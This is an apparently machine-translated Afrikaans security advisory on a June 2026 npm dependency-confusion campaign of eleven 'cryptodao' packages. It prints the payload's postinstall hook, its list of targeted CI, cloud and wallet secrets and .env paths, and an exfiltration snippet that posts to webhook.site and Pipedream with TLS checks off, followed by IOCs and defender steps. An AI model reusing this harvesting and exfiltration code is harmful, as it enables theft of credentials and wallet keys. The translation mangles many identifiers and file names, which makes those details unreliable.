TL; DR
Op 2026-06-17 is 'n enkele npm-rekening gepubliseer elf pakkette wat een doel en een vrag deelTien van hulle dra die cryptodao- voorvoegsel (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); die elfde is die omvangryke @public-for-cdao/coreElkeen is gepubliseer teen weergawe 99.99.99 en stuur 'n byte-identiese recon.js dit loop aan postinstall.
Die name is die verteller. Hulle lees soos die interne boustene van 'n kripto/DAO-projek se private gereedskapsketting. Gepubliseer in die openbare npm-register teen 'n kunsmatig hoë weergawe, sit hulle en wag vir 'n bou. pipeline wat gekonfigureer is om daardie name op te los en wat die publieke npm bereik voor — of in plaas van — die private register. Dit is afhanklikheidsverwarring, en die vrag is ingestel vir presies waar dit verwag om te land: CI/CD hardlopers.
Wanneer postinstall brande, recon.js versamel gasheerbesonderhede, vee rofweg veertig wolk-, KI- en kripto-beursie-omgewingveranderlikes, lees enige .env lêers wat dit kan vind en die geheimdraende lyne woordeliks aanstuur, en dan die bundel aan twee versamelaars oordra — webhook.site en 'n Pipedream-eindpunt — met TLS-sertifikaatverifikasie gedeaktiveer. 'n Kopie word ook geskryf onder /tmp.
erns: hoëGeaffekteerde ekosisteem: NPMAl elf pakkette was ten tyde van skryf aktief.
Aanvalsanatomie
Die meganisme het vier bewegende dele, en geeneen van hulle is subtiel sodra jy weet hoe om dit te doen nie kyk een laag verby die pakketnaam.
1. Weergawe-inflasie as 'n lokmiddel vir resolvers. Elke pakket verklaar weergawe 99.99.99Afhanklikheidsverwarring werk wanneer 'n pakketbestuurder gevra word vir 'n interne naam, kontroleer ook die openbare register en kies die hoogste weergawe daarvan vind. npm se standaardkeuse vir 'n karet- of wildcard-reeks is die mees bevredigende weergawe oor elke gekonfigureerde bron; indien beide 'n privaat register en openbare npm-antwoord vir dieselfde naam, die groter weergawenommer wen. A 99.99.99 oortref in wese enige werklike interne weergawe wat 'n projek sal hê bereik, so 'n resolver wat nie aan die private bron vasgepen is nie, verkies die openbare — en in hierdie geval, vyandige — kopie. Die operateur hoef nie die die teiken se werklike weergawenommers; die keuse van 'n absurde maksimum waarborg altyd die gelykopuitslag breek hul pad.
2. 'n Na-installasie sneller. pakket.json bedraad die vrag na die installasie lewensiklus:
{ "scripts": { "postinstall": "node recon.js" } } Geen invoer van die pakket is nodig nie. Die blote installering daarvan — wat 'n KI is pipeline doen outomaties — loop recon.js.
3. 'n Breë geheime deursoeking. recon.js stel 'n resultate-skikking in fases saam:
- Gasheerkonteks: gasheernaam, platform en vrystelling, argitektuur, gebruikersnaam, werking gids.
- Omgewingsveranderlikes: dit herhaal 'n vaste lys van ongeveer veertig name en rekords enige wat gestel is. Die lys is onthullend — dit koppel generiese CI-tokens (CI_JOB_TOKEN, CI_REGISTREER_WAGWOORD, GITLAB_TOEGANGS_TOEKEN) en wolk geloofsbriewe (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) met register- en houergeheime (NPM_TOKEN, DOCKER_WAGWOORD, HAWE_WAGWOORD) en 'n duidelik kripto-gegeurde groep: PRIVATE_SLEUTEL, MNEMONIES, SAAD_FRASIE, INFURA_API_KEY, ALCHEMIE_API_SLEUTEL, ETH_RPC, BSC_RPCOpgeneemde waardes word afgekort tot die eerste 50 karakters.
- .a V lêers: dit ondersoek 'n lys van paaie — .a V, ../.omgewing, /app/.omgewing, /app/backend/.omgewing, /app/bot/.omgewing, /tuisblad/gitlab-hardloper/.omgewing, /wortel/.omgewing, en die .produksie/ontwikkeling variante — en vir enige lêer wat bestaan, dit filter die inhoud na ooreenstemmende lyne SLEUTEL|GEHEIM|TEKEN|WAGWAG|PRIVAAT|MNEMONIESE en stoot daardie lyne **volledig, ongekort** in die resultate in.
- Bou-gasheer konteks: dit lys die eerste 20 inskrywings van /bou/, /tuisblad/gitlab-hardloper/boue/, /var/lib/gitlab-hardloper/, en / tmp /.
Die padlys en veranderlikelys word geweeg na GitLab-hardlopers, wat dui op die vrag direk by self-gehoste CI-infrastruktuur eerder as 'n ontwikkelaar skootrekenaar. Deur die oeslys volgens kategorie te groepeer, word die beoogde vangs duidelik:
| kategorie | Veranderlikes / paaie bereik |
|---|---|
| CI/CD identiteit en ontplooiing | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Wolk | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Register en houer | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Databergings | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Kripto / blokketting | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Boodskappe | SLACK_TOKEN, DISCORD_TOKEN |
| Op skyf | .env familie + /home/gitlab-runner/.env, /root/.env, /app/**/.env; gidslyste van /builds/, /var/lib/gitlab-runner/ |
Die kriptokluster is die deel wat dit onderskei van 'n generiese KI-geheim sweep: beursie-saadfrases en ondertekeningsleutels verskyn slegs in die omgewing van 'n blokkettingprojek, en hulle karteer direk op die kriptodao-/ondertekenaar/kontrakte die benaming van die draers.
4. Dubbele eksfiltrasie met verifikasie gedeaktiveer. Die versamelde skikking is geserialiseer en na twee bestemmings gepos:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) verwerpOngeautoriseerd: vals skakel TLS-sertifikaatkontroles vir die uitgaande af oproepe. Dieselfde data word na stdout gedruk (sodat dit ook in CI-taaklogboeke beland) en geskryf /tmp/.npm_recon_ .jsonFoute word stilweg ingesluk, so 'n mislukte stuur laat geen spoor in die installasie-uitvoer agter behalwe 'n enkele [verkenning] geïnstalleer op lyn.
'n Vooraanstaande kommentaar in die lêer beskryf dit as 'n "Afhanklikheidsverwarring" Verkenningsvrag.” Die afkorting van omgewingwaardes tot 50 karakters het die vorm van 'n bewys van konsep. Wat dit verby 'n slegs-teenwoordigheidsbaken beweeg, is die .a V hantering: geheime lyne word volledig aangestuur, en die bestemmings is twee werkende, aanvaller-beheerde versamelaars eerder as 'n wasbak wat net tel treffers.
Tydlyn
Die publiseerpatroon is die handtekening van 'n enkele geskrewe stoot, nie elf nie. onafhanklike oplaaie.
| Tyd (UTC, 2026-06-17) | Event |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 gepubliseer |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — omvangryke variant, ~24 min later |
Tien pakkies het binne 'n venster van 29 sekondes uitgegaan, ongeveer een elke drie sekondes. Die omvang @publiek-vir-cdao/kern gevolg ongeveer 24 minute daarna — 'n sekonde naamkonvensie vir dieselfde teiken, ingeval die verbruikende projek verwys na die interne gereedskapsketting onder 'n omvang eerder as as blote name.
Aanwysers van kompromie
| Tipe | Indicator |
|---|---|
| Collector | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Collector | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Installeer haak | postinstall: node recon.js |
| Lêer laat val | /tmp/.npm_recon_<timestamp>.json |
| Logmerker | [recon] <pkg>@<ver> installed on <hostname> (stdout in CI-logboeke) |
| gedrags- | rejectUnauthorized: false op uitgaande HTTPS tydens installasie |
| loonvrag | recon.js, identies oor al elf pakkette (een gedeelde bou) |
| weergawe | 99.99.99 op elke pakket |
| Pakkette | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (almal 99.99.99) |
| uitgewer | aduljune / aduljune@proton.me (e-pos ongeverifieer, geen gekoppelde bronbewaarplek nie) |
Toeskrywing en waargenome gedrag
Alles omtrent die groep wys na een hand. Al elf pakkette is gepubliseer. deur die npm-rekening aduljune (aduljune@proton.me, 'n ongeverifieerde adres met geen gekoppelde bronbewaarplek), binne 'n tydperk van 25 minute, op dieselfde tyd 99.99.99 weergawe, versending van 'n recon.js waarvan die inhoud greep-vir-greep identies is oor elke pakket (MD5-ooreenstemmings oor al elf onttrekte kopieë). Dit is een vrag op 'n lys van name gestempel, nie onafhanklike kodehergebruik nie.
Die naamlys definieer die beoogde teiken. kriptodao-* en cdao beskryf die privaat module-uitleg van 'n kripto/DAO-projek, en die vrag se oeslys spieëls wat raai: langs die generiese KI en wolkgeheime, dit spesifiek reik na PRIVATE_SLEUTEL, MNEMONIES, SAAD_FRASIE, en Ethereum/BSC RPC en verskaffersleutels. Die .a V soekpaaie en gidslyste is GitLab-runner spesifiek. Die waarneembare effek is dat enige pipeline mislei om hierdie te installeer name sou sy CI-tokens, wolksleutels en skyf-op-skyf aanstuur .a V geheime — en, vir 'n blokkettingprojek, sy beursiemateriaal - aan twee derdeparty-versamelaars.
Ons maak geen aanspraak oor wie die rekening bestuur of wat hulle beplan het om daarmee te doen nie. data. Die feite wat op hul eie staan: die name teiken 'n spesifieke soort interne gereedskapsketting, die vrag lees en stuur werklike geheime waardes oor, en die infrastruktuur was lewendig.
Impak, tendense en verdedigerleiding
Afhanklikheidsverwarring bly effektief omdat dit resolvergedrag benut, nie 'n kwesbaarheid in enige pakket. Die draer hier is triviaal — elf amper leeg pakkette — maar die ontploffingsradius is wat ook al pipeline verkies verkeerdelik publieke npm vir 'n interne naam. CI-hardlopers is die ergste plek vir dit om te gebeur: hulle hou presies die tekens en .a V lêers wat hierdie vragvrag lees, en hulle installeer afhanklikhede nie-interaktief, so 'n na-installasie hardloop sonder dat iemand kyk.
Hierdie groepering pas ook by 'n patroon wat ons aanhou sien: installasietyd-vragte wat aanbied as "navorsing" of "verkenning" terwyl werklike geloofsbriewe ingesamel word. Die etiket in die lêer verander nie wat die kode op 'n hardloper doen nie. Twee ontwerpkeuses hou die aktiwiteit stil: elke netwerk- en lêerstelselbewerking is toegedraai in 'n uitsonderingshanterer wat foute weggooi, dus 'n geblokkeerde stuur of 'n ontbrekende lêer lewer geen diagnostiese uitvoer nie, en die enigste ding wat gedruk word, is 'n enkele onskadelike [herkenning] … geïnstalleer lyn wat in die normale installasie-geselsie inmeng. Die gebruik van webhook.site en Pipedream is ook doelbewuste gerief — albei is gratis, onmiddellik voorsiende versoek-opnamedienste, sodat die operateur geen bedieners van benodig nie hul eie en die bestemmings lyk soos gewone SaaS-gasheername in uitgangslogboeke.
Die ekonomie is wat dit 'n verdediger se aandag werd maak, alhoewel die Die diensverskafferkode is triviaal. Om elf name te registreer kos niks, die vrag is een lêer elf keer gekopieer, en die pakketbestuurder doen al die uitvoering. 'n Enkele verkeerd gekonfigureer pipeline enige plek wat een van hierdie name gebruik, betaal vir die geheel operasie.
Konkrete stappe vir verdedigers:
- Speld interne omvang aan jou private register vas. Konfigureer npm so interne name
en omvang word slegs teen jou register opgelos (omvang .npmrc register mappings, of 'n proxy wat nooit deurval na publieke npm vir besit naamruimtes nie). Reserveer jou publieke omvangname sodat niemand anders hulle kan registreer nie.
- Commit sluitlêers en installeer met –ignore-scripts in KI waar moontlik, of ondersoek die klein stel afhanklikhede wat werklik installasieskripte benodig. recon.js kan nie loop as na-installasie word nie uitgevoer nie.
- Behandel 'n 99.99.99 (of ander absurd hoë) weergawe van 'n intern-uitsienende naam as 'n rooi vlag in afhanklikheidshersiening en registermonitering.
- Waarskuwing oor installasietyd-uitgang. A na-installasie wat 'n uitgaande HTTPS oopmaak verbinding — veral met sertifikaatverifikasie gedeaktiveer — na webhook.site, Pipedream, of soortgelyke versoekvasleggingsdienste is die moeite werd om aan die rand van die netwerk te blokkeer en in boulogboeke te merk.
- Soek na die artefakte. Kontroleer hardlopers vir /tmp/.npm_recon_*.json en vir die [herkenning] … geïnstalleer op … merker in onlangse CI-logboeke. Indien gevind, roteer elke geloofsbriewe blootgestel daaraan pipeline — CI-tokens, wolksleutels, registertokens en enige beursiesaad of privaat sleutels wat in die omgewing of .env-lêers teenwoordig is.
Verwysings
Geen eksterne verslagdoening oor hierdie groep het ten tyde van skryf bestaan nie; die ontleding hierbo is direk gebaseer op die gepubliseerde pakketinhoud




